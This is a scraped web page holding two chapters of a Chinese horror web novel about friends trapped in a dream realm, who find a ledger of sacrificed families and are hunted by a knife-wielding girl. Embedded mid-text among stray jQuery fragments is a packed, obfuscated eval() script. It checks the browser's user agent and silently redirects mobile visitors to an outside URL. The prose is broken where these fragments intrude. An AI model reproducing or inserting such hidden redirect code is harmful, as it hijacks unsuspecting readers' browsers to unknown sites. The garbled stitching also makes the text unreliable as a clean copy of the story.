$(''.inform'').remove(); $(''#content'').append('' /p> 甬道恢复平静,只剩下几人粗重的呼吸声。 钟白青时刻关注着手中的烛火,一旦烛火熄灭,他们就必须立刻回头。 不知过了多久,叶翛疲惫地开口:“我们走了这么久,全程都是下坡路,这得通向哪里啊?” 钟白青气息不稳地开玩笑道:“万一终点是钟家墓地,你怕不怕?” 叶翛哀嚎一声:“啊,你别说了,我真的遭不住再来一次惊吓了。” 钟白青轻笑:“不吓你了,应该快出去了。” 她注意到烛火朝后倾斜的角度变小了,估计是气流吹的,前面应该有出口。 几人沉默地走了一会后,前方有模糊的方形光团。 钟白青精神一振:“快出去了。” 几人陆续走出甬道,被眼前景象又震惊一次。 这是个很大的石洞,石壁上凿了很多坑洞,摆着各式各样的兽骨。 洞非常深,洞顶并没有封死,微弱的月光从几十米高的洞口洒下,正好打在中央的石桌上。 “乖乖。”华元发出感慨,“这下更难出去了。” 他苦笑着坐下:“以后再也不吐槽当牛马累了,当牛马比来这种地方可强太多了。” 叶翛深以为然,叹着气跟在钟白青身后。 钟白青回头看她一眼问:“要不要歇会?” 叶翛疯狂摇头:“不用!我还能干!” 钟白青嗐了一声:“那走吧,过去看看桌上有什么。” 两人靠近石桌,上面摆着放着一些器皿,石桌角落放着一本厚厚的册子。 钟白青拿起册子,触感是精致的牛皮封面。 她有点想笑,这本册子露天放在洞底下,都不怕风吹日晒,明显是故意要给他们看的。 翻开第一页,记录了一个时间以及一长串钟姓名字。备注:全部失败。 第二页的时间比第一页晚了十年,下面写着的是另外一长串的钟姓名字,备注依旧是全部失败。 钟白青耐心地往后翻,每页都是相同的格式,时间间隔均为十年,只有部分备注写着某人成功。 在哗哗的翻书声中,邵空青的声音从后脑勺侧上方传来:“已经350年了。” 钟白青手指微顿,嗯了一声,接着往下翻。 到第275页的时候,也就是第2750年,时间间隔发生变化,间隔变为20年,备注依旧是全部失败。 但关于时间,钟白青没找到补充说明的批注。 她皱起眉,没出声,接着往下翻。 之后的时间间隔就变成了10年或20年,但变化毫无规律。 叶翛:“好奇怪,为什么间隔时间有时候会延长10年?漏记了?” 钟白青没回话,内心震颤,隐约有种困扰多年的谜题即将解开的预感。 一直翻到最后,格式变了,时间间隔也变了。 是一行笔迹略显杂乱的行楷: 「终于找到提前进梦域的办法了,可以逐一安排人进梦域夺梦主之位了。」 这次底下记录的时间间隔缩短为6年,只记录了两个名字。 「老三老四醒不过来了,不行,不能再继续了。」 「只剩两年,没时间了,不该提前进入梦域的。」 「绝不能让梦域开启。」 「秦家没了,只剩钟家了。老秦不要怪我,总要留一支血脉在世上,我会记录你们秦家的贡献。」 「你在看吗,后生。不要、提前、进入梦域!」 记录戛然而止。 邵空青蹙眉:“看样子,钟老头用某种方式‘献祭’了秦家,把两年后就要开启的梦域延长了十年。” 钟白青心不在焉地点点头,她想起自家诊疗院躺了20年的“植物人”。 假如推测属实,究竟是谁,把她的家人们“献祭”给了梦域? 11. 第 11 章 叶翛偷瞄钟白青脸上的表情,不时回头看一眼站在她身后的邵空青,面露难色。 邵空青注意到叶翛的小动作,抿唇犹豫再三后,开口道:“我去周围看看。” “嗯。”钟白青回过神,将蜡烛递给他,“喏。” 叶翛目送那点烛光远去,扯了扯钟白青的袖子,压低声音问:“你家诊疗院是不是……?” 钟白青嗯了一声:“应该脱不了关系。”她甚至怀疑,当年秦家除了秦旭,还剩下不少人。 叶翛叹口气,轻轻抱住她:“没关系,我陪你一起找线索,你别伤心啦。” 钟白青笑笑:“我不伤心啊,你知道的,我根本不记得和他们有关的事了。” 她的记忆起始于20年前,诊疗院院长文姨告诉她:她的家人全都生病睡着了,所以以后由文姨照顾她。 钟白青合上手中的册子,内心思绪万千:“原本我还想着,把钟家人全绑了送给那坨秦家人的……” 现在看来,两头都不是什么好东西。 钟白青抬起头,寻找那抹烛光。邵空青此时正站在最大的坑洞下,举着蜡烛照亮洞内的兽骨,华元也不知什么时候起来了,跟在邵空青身后,两人说着什么。 走近后,看清了坑洞内的东西,是一个长了很长鼻骨的动物骨架。 钟白青感叹:“这是大象吧?是吗?” 邵空青微微侧头,解释道:“不是,大象鼻子没骨头,不清楚这个具体是什么动物。这里收集了各种兽骨,猫狗、虎豹……”总之应有尽有。 叶翛嫌弃地噫了一声:“钟老头是搞动物研究的?收集这么多种动物骨头……啊,难道通过这些兽骨就可以把活人献祭给梦域?” 华元打击她:“说不定是先用动物做实验,试到活人才成功?往后再看看,可能还有完整的人类骨架哦。” 叶翛瞪他一眼:“哎,我发现你这人嘴里就没一句好话。” 华元无所谓地耸耸肩:“打住,我觉得我们还是先研究一下怎么出去吧,那个怪物肯定恨死这个地方了。万一一会冲进来瓮中捉鳖,我们就是那个鳖。” “整整四只鳖。”说着华元还竖起四根手指晃了晃。 邵空青按下他的手:“我刚才在底下没找到路,可能得上去看看,这个坑洞最大,位置也在正中间,应该比较关键。” 说着,邵空青把蜡烛递给钟白青:“我以前经常去户外徒步,有攀岩经验,我试试能不能上去。” 三人自知没有爬80度坡的能力,而且目测坑洞离地面约五六米,于是没多客套,只说了声注意安全,就一起围在山壁边目送邵空青攀岩。 山壁并不平整,邵空青循着光影找凸起,试探着一点一点踩着凸起向上爬。 偶尔一块碎石滚落,钟白青的心都跟着一跳。 她不自觉往前靠近一步,如果邵空青不慎掉下来,有她们几个在下面接着应该不会有事。 幸好邵空青确实经验丰富,最后一步全身发力,做了一个标准的引体向上,便成功在坑洞内安全落地。 华元啧啧称奇:“哥,你岩羊啊?” 叶翛疑惑:“什么意思?” 钟白青憋着笑解释:“90度是墙,91度就是坡。” 闻言,叶翛结合刚才邵空青攀岩的画面,噗嗤大笑:“哈哈哈哈,华元你虽然本事没多少,但搞笑水平确实一流。” 华元震惊,华元愤怒:“不是?这也能发展成人身攻击?” 邵空青无奈的声音从上面传来:“你们停一下,上面有路,还有条绳梯,我放绳梯下去,你们小心点上来。” 有绳梯辅助,三人上去得很顺利。 坑洞内除了未知兽骨,没有多余的东西。 钟白青很不满:“真就只给关键道具啊。” 之前又是玩刀又是放火的,她都玩嗨了。这会面对危险赤手空拳被迫逃跑,实在太憋屈了。 吐槽完,她走到兽骨后。 面前是一条人工修筑的通道,两米高,一米宽,一级一级楼梯向上延伸进黑暗。 钟白青举起蜡烛,光线穿不透通道深处的漆黑:“你们说,出去后会有什么等着我们?” 叶翛无力回她:“不是怪物就行。” …… 返程很顺利,几人重见天日时已经是清晨。 意外但又没那么意外的,在洞口撞上了满脸急色的钟锦安。 钟锦安看到四人出来,脸上表情顿时一松:“姐姐、姐夫,你们没事!太好了!” 钟锦安一路小跑过来,牵住钟白青的手:“我同父亲说了姐姐们失忆的事,父亲便让我来祠堂接你们出去。谁知刚去祠堂就看到一地狼藉,我便猜到你们是出意外了,就想着赶紧从这边过来接你们。” 钟锦安腼腆笑起来,看上去很开心:“幸好你们都没事。” “是父亲让你来这里接我们的吗?” 钟白青狐疑地看着这个只到她腰的小女孩,理论上她不应该知道祠堂底下藏了坑洞的事。 钟锦安招招手示意钟白青弯腰,踮起脚,凑近她耳边小声说:“大姐姐以前你偷偷带我来过一次,这事千万不要告诉父亲,他不许我来的。” 可以,逻辑上说得通。钟白青按下心中的怀疑。 钟锦安接着说:“姐姐姐夫们累了吧,祠堂那边我叫小煦去收拾了,父亲今日遣人去查那天的歹徒了,你们可以放心休息啦。” 几人对视一眼,都在对方眼神里看到疲惫。 不出意外的话,他们就是歹徒本人,希望别又查到他们头上了。 钟白青:“对了,我们可以去跟小旭说句话吗?” 钟锦安却摇头:“祠堂现在可乱了,只有小旭一个人在收拾,我让她明天再去找姐姐好不好?” 行吧,硬去的话估计又要剧情杀,也不急这一会了。 而且惊心动魄了一整宿,他们也确实累了,养精蓄锐为当前最优解。 …… 可能是梦主良心发现,也可能是今天的确没剧情安排,几人一觉从白天睡到天黑。 钟白青睡到自然醒,迷迷糊糊歪着脑袋坐起身,然后又静止住,就这么坐着懒得动了。 突然。 “救命啊白青!” 叶翛的尖叫声穿透重重房门刺进耳膜。 钟白青痛苦地捂住耳朵,人在无语的时候确实会笑。 她发出一声干巴巴的“哈哈”,声音里夹着被命运戏耍的愤怒和无可奈何。 想睡懒觉想摆烂。 但是叶翛有危险,钟白青还是迅速翻身下床,随意蹬着鞋子冲到门口猛地拉开门。 叶翛提着个精致的煤油灯,刚好跑到门口。见钟白青开门,闪身进入房中,手搭在她胳膊上,用力合上门。 紧接着华元喊起来:“哎!腿!我腿!” 叶翛用力摁紧门,华元则拼命把夹在门缝里的裤子拽出来,成功脱险后,他龇牙咧嘴对叶翛嚎:“我天,你好歹松一下门让我进来啊。” 叶翛整个人靠在门上,惊魂未定地拍着胸口:“抱歉啊,我怕一松手秦旭就杀进来了。” 邵空青疑惑挑眉:“秦旭?” 叶翛喘着气摆摆手: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17407491|200599||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “也就是小旭,她长大了,能看出和之前那个成年秦旭是同一个人了。” 钟白青疑惑出声:“长大又是怎么个情况?” 叶翛:“我也不知道啊,我睡醒后想着来找你们,路上就看到十多岁的秦旭提着刀在钟宅里游荡。” 她说着,把煤油灯往华元手里一塞,害怕地抱紧胳膊:“她突然就长高了好多,虽然脸上还有点婴儿肥。” “我靠,你们是不知道当时有多恐怖!婴儿肥少女提着刀在古色古香的宅子里游荡,明明我们没发出任何动静,但是她莫名其妙就发现我们了!然后缓慢地转头,歪头盯住我们!” “跟她对视上太恐怖了!吓得我拽起华元就往你们这边跑,都没来得及看她有没有追过来。” 钟白青闻言走到窗边推开一条缝,眼珠子顺着窗户缝隙转了两圈。 万幸,外面没人,秦旭应该还没追来。 叶翛贴心上前帮钟白青拉上窗户,问她:“现在怎么办,我们房里一点能防身的东西都没了,你们这边呢?” 钟白青回头看向室内,邵空青显然刚才已经在屋内找了一圈,朝她两手一摊:“这边也没有。” “那等等吧。”钟白青说着,拖出四张椅子,“站着干嘛,坐。” 邵空青不语顺势坐下。 华元见状急了:“不是,我们坐等被瓮中捉鳖吗?” 钟白青叹了口气,拽过叶翛把人往椅子上一摁,自己也懒洋洋坐下,朝华元摆摆手道:“没事,不急,钟锦安会帮忙的。” 华元迷茫:“啊?” 邵空青接话:“从给钟夫人看病起,她就一直在帮我们。” 钟白青对他竖起大拇指。 华元的脑子飞速转了两圈,反应过来,稍微放下心,在最后一张空椅子上瘫下,瘫了没多久又弹起身:“不对啊,她要是想帮忙,我们在祠堂被怪物追又怎么解释?” 钟白青竖起食指晃了晃:“钟锦安权限不够吧,毕竟梦主是秦旭不是她。” “不急,需要我们推剧情的时候,肯定会冒个怪出来吓我们的,等着吧。” …… 外面一片静谧,钟白青听着身边几人的呼吸声,意识逐渐放空。 这里的晚上真的很安静,连虫鸣都没有。 几人就这么干坐着,安静的空气里却突然传来不和谐音。 金属拖地的摩擦声,滋滋啦啦靠近紧闭的大门。 随后一个东西被人用力砸在窗上,发出“砰”的一声巨响又弹开,在窗上留下一道溅射开的深色液体痕迹。 气氛瞬间紧张,几人站起身,钟白青提起煤油灯缓步靠近窗户。 看清了,是一块血迹,几道血流还在往下滑。 钟白青皱着眉退回三人身边,轻声开口:“应该是秦旭来了,我们试试能不能从里屋的侧窗出去。” 正说着,一道白光晃过,钟白青回头,就见一柄刀已经伸进门缝,从上往下狠力劈上金属门栓。 钟白青倒吸一口凉气,几步冲进里屋,小心推开窗户并后退一大步。 在刀和门栓砰砰的碰撞声中,紧张地等待几秒,见窗外没有异常,她才小心靠近。 但在看清窗外景象后,钟白青瞳孔紧缩,手中的煤油灯没拿稳差点掉地上。 邵空青几步冲上前接住灯,顺着她的视线看向窗外,也浑身一震。 一颗人头侧躺在草地里,大张着嘴,像是因为惊恐而睁大的眼睛和二人远远对上,脖颈断口处似乎还有血滴落。 看着眼前表情惊恐变形的人头,钟白青耳边仿佛响起一声尖叫。